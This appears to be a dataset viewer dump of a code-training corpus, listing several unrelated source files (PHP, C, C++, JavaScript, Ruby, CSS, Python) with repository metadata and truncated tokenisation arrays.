while ( $dynamicSettingName = array_shift( $arguments ) )
{
$dynamicSettingValue = array_shift( $arguments );
$value = str_replace( "\$$dynamicSettingName\$", $dynamicSettingValue, $value );
}
return $value;
}
}
| clash82/ezpublish-kernel | eZ/Bundle/EzPublishCoreBundle/DependencyInjection/Configuration/ComplexSettings/ComplexSettingValueResolver.php | PHP | gpl-2.0 | 1,953 | [
30522,
1026,
1029,
25718,
1013,
1008,
1008,
1008,
2023,
5371,
2003,
2112,
1997,
1996,
1041,
2480,
10172,
16293,
7427,
1008,
1008,
1030,
9385,
9385,
1006,
1039,
1007,
1041,
2480,
3001,
2004,
1012,
2035,
2916,
9235,
1012,
1008,
1030,
6105,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#ifndef lint
static char rcsid[] = "$Header: /usr/people/sam/tiff/libtiff/RCS/tif_jpeg.c,v 1.4 92/02/10 19:06:04 sam Exp $";
#endif
/*
* Copyright (c) 1990, 1991, 1992 Sam Leffler
* Copyright (c) 1991, 1992 Silicon Graphics, Inc.
*
* Permission to use, copy, modify, distribute, and sell this software and
* its documentation for any purpose is hereby granted without fee, provided
* that (i) the above copyright notices and this permission notice appear in
* all copies of the software and related documentation, and (ii) the names of
* Sam Leffler and Silicon Graphics may not be used in any advertising or
* publicity relating to the software without the specific, prior written
* permission of Sam Leffler and Silicon Graphics.
*
* THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND,
* EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY
* WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
*
* IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
* ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
* OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
* WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF
* LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE
* OF THIS SOFTWARE.
*/
/*
* TIFF Library.
*
* Baseline JPEG Compression Algorithm Support.
*/
#include "tiffioP.h"
TIFFInitJPEG(tif)
register TIFF *tif;
{
return (1);
}
| fhijaz/Graphite | tests/benchmarks/volrend/libtiff/tif_jpeg.c | C | mit | 1,510 | [
30522,
1001,
2065,
13629,
2546,
11409,
2102,
10763,
25869,
22110,
5332,
2094,
1031,
1033,
1027,
1000,
1002,
20346,
1024,
1013,
2149,
2099,
1013,
2111,
1013,
3520,
1013,
14841,
4246,
1013,
5622,
19279,
13355,
1013,
22110,
2015,
1013,
14841,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
Copyright (c) 2014-2022 AscEmu Team <http://www.ascemu.org>
This file is released under the MIT license. See README-MIT for more information.
*/
#pragma once
#include <cstdint>
#include "ManagedPacket.h"
#include "WorldPacket.h"
namespace AscEmu::Packets
{
class CmsgQuestgiverRequestReward : public ManagedPacket
{
public:
WoWGuid questgiverGuid;
uint32_t questId;
CmsgQuestgiverRequestReward() : CmsgQuestgiverRequestReward(0, 0)
{
}
CmsgQuestgiverRequestReward(uint64_t questgiverGuid, uint32_t questId) :
ManagedPacket(CMSG_QUESTGIVER_REQUEST_REWARD, 12),
questgiverGuid(questgiverGuid),
questId(questId)
{
}
bool internalSerialise(WorldPacket& /*packet*/) override
{
return false;
}
bool internalDeserialise(WorldPacket& packet) override
{
uint64_t unpackedGuid;
packet >> unpackedGuid >> questId;
questgiverGuid.Init(unpackedGuid);
return true;
}
};
}
| AscEmu/AscEmu | src/world/Server/Packets/CmsgQuestgiverRequestReward.h | C | agpl-3.0 | 1,093 | [
30522,
1013,
1008,
9385,
1006,
1039,
1007,
2297,
1011,
16798,
2475,
2004,
3401,
12274,
2136,
1026,
8299,
1024,
1013,
1013,
7479,
1012,
2004,
3401,
12274,
1012,
8917,
1028,
2023,
5371,
2003,
2207,
2104,
1996,
10210,
6105,
1012,
2156,
3191,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
'use strict';
!function($) {
/**
* OffCanvas module.
* @module foundation.offcanvas
* @requires foundation.util.keyboard
* @requires foundation.util.mediaQuery
* @requires foundation.util.triggers
* @requires foundation.util.motion
*/
class OffCanvas {
/**
* Creates a new instance of an off-canvas wrapper.
* @class
* @fires OffCanvas#init
* @param {Object} element - jQuery object to initialize.
* @param {Object} options - Overrides to the default plugin settings.
*/
constructor(element, options) {
this.$element = element;
this.options = $.extend({}, OffCanvas.defaults, this.$element.data(), options);
this.$lastTrigger = $();
this.$triggers = $();
this._init();
this._events();
Foundation.registerPlugin(this, 'OffCanvas')
Foundation.Keyboard.register('OffCanvas', {
'ESCAPE': 'close'
});
}
/**
* Initializes the off-canvas wrapper by adding the exit overlay (if needed).
* @function
* @private
*/
_init() {
var id = this.$element.attr('id');
this.$element.attr('aria-hidden', 'true');
this.$element.addClass(`is-transition-${this.options.transition}`);
// Find triggers that affect this element and add aria-expanded to them
this.$triggers = $(document)
.find('[data-open="'+id+'"], [data-close="'+id+'"], [data-toggle="'+id+'"]')
.attr('aria-expanded', 'false')
.attr('aria-controls', id);
// Add an overlay over the content if necessary
if (this.options.contentOverlay === true) {
var overlay = document.createElement('div');
var overlayPosition = $(this.$element).css("position") === 'fixed' ? 'is-overlay-fixed' : 'is-overlay-absolute';
overlay.setAttribute('class', 'js-off-canvas-overlay ' + overlayPosition);
this.$overlay = $(overlay);
if(overlayPosition === 'is-overlay-fixed') {
$('body').append(this.$overlay);
} else {
this.$element.siblings('[data-off-canvas-content]').append(this.$overlay);
}
}
this.options.isRevealed = this.options.isRevealed || new RegExp(this.options.revealClass, 'g').test(this.$element[0].className);
if (this.options.isRevealed === true) {
this.options.revealOn = this.options.revealOn || this.$element[0].className.match(/(reveal-for-medium|reveal-for-large)/g)[0].split('-')[2];
this._setMQChecker();
}
if (!this.options.transitionTime === true) {
this.options.transitionTime = parseFloat(window.getComputedStyle($('[data-off-canvas]')[0]).transitionDuration) * 1000;
}
}
/**
* Adds event handlers to the off-canvas wrapper and the exit overlay.
* @function
* @private
*/
_events() {
this.$element.off('.zf.trigger .zf.offcanvas').on({
'open.zf.trigger': this.open.bind(this),
'close.zf.trigger': this.close.bind(this),
'toggle.zf.trigger': this.toggle.bind(this),
'keydown.zf.offcanvas': this._handleKeyboard.bind(this)
});
if (this.options.closeOnClick === true) {
var $target = this.options.contentOverlay ? this.$overlay : $('[data-off-canvas-content]');
$target.on({'click.zf.offcanvas': this.close.bind(this)});
}
}
/**
* Applies event listener for elements that will reveal at certain breakpoints.
* @private
*/
_setMQChecker() {
var _this = this;
$(window).on('changed.zf.mediaquery', function() {
if (Foundation.MediaQuery.atLeast(_this.options.revealOn)) {
_this.reveal(true);
} else {
_this.reveal(false);
}
}).one('load.zf.offcanvas', function() {
if (Foundation.MediaQuery.atLeast(_this.options.revealOn)) {
_this.reveal(true);
}
});
}
/**
* Handles the revealing/hiding the off-canvas at breakpoints, not the same as open.
* @param {Boolean} isRevealed - true if element should be revealed.
* @function
*/
reveal(isRevealed) {
var $closer = this.$element.find('[data-close]');
if (isRevealed) {
this.close();
this.isRevealed = true;
this.$element.attr('aria-hidden', 'false');
this.$element.off('open.zf.trigger toggle.zf.trigger');
if ($closer.length) { $closer.hide(); }
} else {
this.isRevealed = false;
this.$element.attr('aria-hidden', 'true');
this.$element.on({
'open.zf.trigger': this.open.bind(this),
'toggle.zf.trigger': this.toggle.bind(this)
});
if ($closer.length) {
$closer.show();
}
}
}
/**
* Stops scrolling of the body when offcanvas is open on mobile Safari and other troublesome browsers.
* @private
*/
_stopScrolling(event) {
return false;
}
/**
* Opens the off-canvas menu.
* @function
* @param {Object} event - Event object passed from listener.
* @param {jQuery} trigger - element that triggered the off-canvas to open.
* @fires OffCanvas#opened
*/
open(event, trigger) {
if (this.$element.hasClass('is-open') || this.isRevealed) { return; }
var _this = this;
if (trigger) {
this.$lastTrigger = trigger;
}
if (this.options.forceTo === 'top') {
window.scrollTo(0, 0);
} else if (this.options.forceTo === 'bottom') {
window.scrollTo(0,document.body.scrollHeight);
}
/**
* Fires when the off-canvas menu opens.
* @event OffCanvas#opened
*/
_this.$element.addClass('is-open')
this.$triggers.attr('aria-expanded', 'true');
this.$element.attr('aria-hidden', 'false')
.trigger('opened.zf.offcanvas');
// If `contentScroll` is set to false, add class and disable scrolling on touch devices.
if (this.options.contentScroll === false) {
$('body').addClass('is-off-canvas-open').on('touchmove', this._stopScrolling);
}
if (this.options.contentOverlay === true) {
this.$overlay.addClass('is-visible');
}
if (this.options.closeOnClick === true && this.options.contentOverlay === true) {
this.$overlay.addClass('is-closable');
}
if (this.options.autoFocus === true) {
this.$element.one(Foundation.transitionend(this.$element), function() {
_this.$element.find('a, button').eq(0).focus();
});
}
if (this.options.trapFocus === true) {
this.$element.siblings('[data-off-canvas-content]').attr('tabindex', '-1');
Foundation.Keyboard.trapFocus(this.$element);
}
}
/**
* Closes the off-canvas menu.
* @function
* @param {Function} cb - optional cb to fire after closure.
* @fires OffCanvas#closed
*/
close(cb) {
if (!this.$element.hasClass('is-open') || this.isRevealed) { return; }
var _this = this;
_this.$element.removeClass('is-open');
this.$element.attr('aria-hidden', 'true')
/**
* Fires when the off-canvas menu opens.
* @event OffCanvas#closed
*/
.trigger('closed.zf.offcanvas');
// If `contentScroll` is set to false, remove class and re-enable scrolling on touch devices.
if (this.options.contentScroll === false) {
$('body').removeClass('is-off-canvas-open').off('touchmove', this._stopScrolling);
}
if (this.options.contentOverlay === true) {
this.$overlay.removeClass('is-visible');
}
if (this.options.closeOnClick === true && this.options.contentOverlay === true) {
this.$overlay.removeClass('is-closable');
}
this.$triggers.attr('aria-expanded', 'false');
if (this.options.trapFocus === true) {
this.$element.siblings('[data-off-canvas-content]').removeAttr('tabindex');
Foundation.Keyboard.releaseFocus(this.$element);
}
}
/**
* Toggles the off-canvas menu open or closed.
* @function
* @param {Object} event - Event object passed from listener.
* @param {jQuery} trigger - element that triggered the off-canvas to open.
*/
toggle(event, trigger) {
if (this.$element.hasClass('is-open')) {
this.close(event, trigger);
}
else {
this.open(event, trigger);
}
}
/**
* Handles keyboard input when detected. When the escape key is pressed, the off-canvas menu closes, and focus is restored to the element that opened the menu.
* @function
* @private
*/
_handleKeyboard(e) {
Foundation.Keyboard.handleKey(e, 'OffCanvas', {
close: () => {
this.close();
this.$lastTrigger.focus();
return true;
},
handled: () => {
e.stopPropagation();
e.preventDefault();
}
});
}
/**
* Destroys the offcanvas plugin.
* @function
*/
destroy() {
this.close();
this.$element.off('.zf.trigger .zf.offcanvas');
this.$overlay.off('.zf.offcanvas');
Foundation.unregisterPlugin(this);
}
}
OffCanvas.defaults = {
/**
* Allow the user to click outside of the menu to close it.
* @option
* @type {boolean}
* @default true
*/
closeOnClick: true,
/**
* Adds an overlay on top of `[data-off-canvas-content]`.
* @option
* @type {boolean}
* @default true
*/
contentOverlay: true,
/**
* Enable/disable scrolling of the main content when an off canvas panel is open.
* @option
* @type {boolean}
* @default true
*/
contentScroll: true,
/**
* Amount of time in ms the open and close transition requires. If none selected, pulls from body style.
* @option
* @type {number}
* @default 0
*/
transitionTime: 0,
/**
* Type of transition for the offcanvas menu. Options are 'push', 'detached' or 'slide'.
* @option
* @type {string}
* @default push
*/
transition: 'push',
/**
* Force the page to scroll to top or bottom on open.
* @option
* @type {?string}
* @default null
*/
forceTo: null,
/**
* Allow the offcanvas to remain open for certain breakpoints.
* @option
* @type {boolean}
* @default false
*/
isRevealed: false,
/**
* Breakpoint at which to reveal. JS will use a RegExp to target standard classes, if changing classnames, pass your class with the `revealClass` option.
* @option
* @type {?string}
* @default null
*/
revealOn: null,
/**
* Force focus to the offcanvas on open. If true, will focus the opening trigger on close.
* @option
* @type {boolean}
* @default true
*/
autoFocus: true,
/**
* Class used to force an offcanvas to remain open. Foundation defaults for this are `reveal-for-large` & `reveal-for-medium`.
* @option
* @type {string}
* @default reveal-for-
* @todo improve the regex testing for this.
*/
revealClass: 'reveal-for-',
/**
* Triggers optional focus trapping when opening an offcanvas. Sets tabindex of [data-off-canvas-content] to -1 for accessibility purposes.
* @option
* @type {boolean}
* @default false
*/
trapFocus: false
}
// Window exports
Foundation.plugin(OffCanvas, 'OffCanvas');
}(jQuery);
| PassKitInc/foundation-sites | js/foundation.offcanvas.js | JavaScript | mit | 10,884 | [
30522,
1005,
2224,
9384,
1005,
1025,
999,
3853,
1006,
1002,
1007,
1063,
1013,
1008,
1008,
1008,
2125,
9336,
12044,
11336,
1012,
1008,
1030,
11336,
3192,
1012,
2125,
9336,
12044,
1008,
1030,
5942,
3192,
1012,
21183,
4014,
1012,
9019,
1008,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
MAILCHIMP_API_KEY = Configuration[:mailchimp_api_key] if ActiveRecord::Base.connection.table_exists? 'configurations'
| BrwnSuperman/PluFund | config/initializers/mailchimp.rb | Ruby | mit | 118 | [
30522,
5653,
5428,
8737,
1035,
17928,
1035,
3145,
1027,
9563,
1031,
1024,
5653,
5428,
8737,
1035,
17928,
1035,
3145,
1033,
2065,
3161,
2890,
27108,
2094,
1024,
1024,
2918,
1012,
4434,
1012,
2795,
1035,
6526,
1029,
1005,
22354,
1005,
102,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
.container-fluid,
.container {
padding-right: 0px;
padding-left: 0px;
margin-right: auto;
margin-left: auto;
}
.col-lg-1,
.col-lg-10,
.col-lg-11,
.col-lg-12,
.col-lg-2,
.col-lg-3,
.col-lg-4,
.col-lg-5,
.col-lg-6,
.col-lg-7,
.col-lg-8,
.col-lg-9,
.col-md-1,
.col-md-10,
.col-md-11,
.col-md-12,
.col-md-2,
.col-md-3,
.col-md-4,
.col-md-5,
.col-md-6,
.col-md-7,
.col-md-8,
.col-md-9,
.col-sm-1,
.col-sm-10,
.col-sm-11,
.col-sm-12,
.col-sm-2,
.col-sm-3,
.col-sm-4,
.col-sm-5,
.col-sm-6,
.col-sm-7,
.col-sm-8,
.col-sm-9,
.col-xs-1,
.col-xs-10,
.col-xs-11,
.col-xs-12,
.col-xs-2,
.col-xs-3,
.col-xs-4,
.col-xs-5,
.col-xs-6,
.col-xs-7,
.col-xs-8,
.col-xs-9 {
position: relative;
min-height: 1px;
padding-right: 0px;
padding-left: 0px;
}
.wrap__content {
position: relative;
}
/*big bootstrap overwrite*/
.row {
margin-right: 0px;
margin-left: 0px;
}
@media only screen and (min-width: 768px) {
.container {
width: inherit;
}
}
@media only screen and (min-width: 992px) {
.container {
width: 970px;
}
}
@media only screen and (min-width: 1200px) {
.container {
width: 1170px;
}
}
/* Sticky footer styles
-------------------------------------------------- */
html,
body {
height: 100%;
background-color: white;
font-family: 'Nunito', sans-serif;
}
/* Wrapper for page content to push down footer */
#wrap {
min-height: 100%;
height: auto;
/* Negative indent footer by its height */
margin: 0 auto -100px;
/* Pad bottom by footer height */
padding: 0 0 100px;
}
/* Set the fixed height of the footer here */
#footer {
height: 100px;
background-color: #DC73FF;
}
| javimosch/bastack | src/client/hglove/css/layout.css | CSS | apache-2.0 | 1,705 | [
30522,
1012,
11661,
1011,
8331,
1010,
1012,
11661,
1063,
11687,
4667,
1011,
2157,
1024,
1014,
2361,
2595,
1025,
11687,
4667,
1011,
2187,
1024,
1014,
2361,
2595,
1025,
7785,
1011,
2157,
1024,
8285,
1025,
7785,
1011,
2187,
1024,
8285,
1025,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#! /usr/bin/python
import sys
sys.path.append('../')
from toolbox.hreaders import token_readers as reader
from toolbox.hreducers import list_reducer as reducer
SOLO_FACTURA = False
def reduction(x,y):
v1 = x.split(',')
v2 = y.split(',')
r = x if int(v1[1])>=int(v2[1]) else y
return r
_reader = reader.Token_reader("\t",1)
_reducer = reducer.List_reducer(reduction) #x: previous reduction result, y: next element
if SOLO_FACTURA:
for line in sys.stdin:
key, value = _reader.read_all(line)
K,V = _reducer.reduce(key,value)
if K:
print '{}\t{}'.format(V.split(',')[0],V.split(',')[1])
V = _reducer.out.split(',')
print '{}\t{}'.format(V[0],V[1])
else:
for line in sys.stdin:
key, value = _reader.read_all(line)
K,V = _reducer.reduce(key,value)
if K:
print '{}\t{}'.format(K,V)
print '{}\t{}'.format(key,V) | xavi783/u-tad | Modulo4/ejercicio3/reducer.py | Python | gpl-3.0 | 915 | [
30522,
1001,
999,
1013,
2149,
2099,
1013,
8026,
1013,
18750,
12324,
25353,
2015,
25353,
2015,
1012,
4130,
1012,
10439,
10497,
1006,
1005,
1012,
1012,
1013,
1005,
1007,
2013,
6994,
8758,
1012,
17850,
13775,
2545,
12324,
19204,
1035,
8141,
20... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.